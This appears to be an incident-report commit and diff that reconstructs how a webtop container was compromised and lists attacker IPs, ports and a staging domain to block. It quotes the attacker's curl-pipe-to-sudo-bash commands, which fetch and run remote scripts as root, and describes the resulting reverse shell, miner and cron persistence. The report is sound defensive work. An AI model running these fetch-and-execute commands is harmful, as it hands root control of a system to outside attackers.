incident: reconstruct attack chain from LMMS logs (scripty.mooo.com exploit kit, passwordless sudo in webtop) + new IOCs
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@@ -57,8 +57,31 @@ PORT = 4444
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- SHA-256 of captured payload: `2befa0c3e6485691d4d58fec75af1e16b1c097a1ac9d2480b386d15de29da1fb`
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- SHA-256 of captured payload: `2befa0c3e6485691d4d58fec75af1e16b1c097a1ac9d2480b386d15de29da1fb`
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- Evidence: `docs/incident-2026-11-11/` (payload, crontab, process list, logs)
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- Evidence: `docs/incident-2026-11-11/` (payload, crontab, process list, logs)
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## Attack chain (reconstructed from LMMS container logs)
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The webtop's own web terminal was used to run an automated exploit kit. Captured and
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base64-decoded from `docs/incident-2026-11-11/lmms-logs.txt`:
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```bash
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curl -k https://scripty.mooo.com/all/ | tr -d '\r' | sudo bash
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curl -k https://scripty.mooo.com/shell/ | tr -d '\r' | sudo bash
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```
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Each invocation was wrapped in a `RESULT_<hash>` / `xclip -selection clipboard` harness,
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i.e. a **bot driving the desktop through KasmVNC** (`INFO:data_websocket:Successfully
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launched command … with PID`) and reading results back via the clipboard. Nine distinct
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attempts are logged, so this was automated, repeated exploitation — not a one-off.
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Root was available because a LinuxServer webtop maps `abc` (uid 1000) to root and allows
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**passwordless sudo** (`sudo -n -l` → `(ALL : ALL) ALL`). So "web access to the desktop" is
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equivalent to "root inside the container".
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Chain: public hostname → unauthenticated desktop → web terminal → passwordless sudo →
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`curl | sudo bash` → miner (GIMP) / reverse shell + cron persistence (LMMS).
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## Attacker infrastructure (block these)
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## Attacker infrastructure (block these)
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- **`scripty.mooo.com`** — exploit-kit staging, paths `/all/` and `/shell/` (pipes straight to `sudo bash`)
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- `84.8.219.196` — reverse-shell C2, TCP 4444
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- `84.8.219.196` — reverse-shell C2, TCP 4444
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- `203.188.174.67` — miner endpoint, TCP 3222
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- `203.188.174.67` — miner endpoint, TCP 3222
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- `172.67.131.146` — Cloudflare-fronted, TCP 443 (shared CDN — do not blanket block)
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- `172.67.131.146` — Cloudflare-fronted, TCP 443 (shared CDN — do not blanket block)
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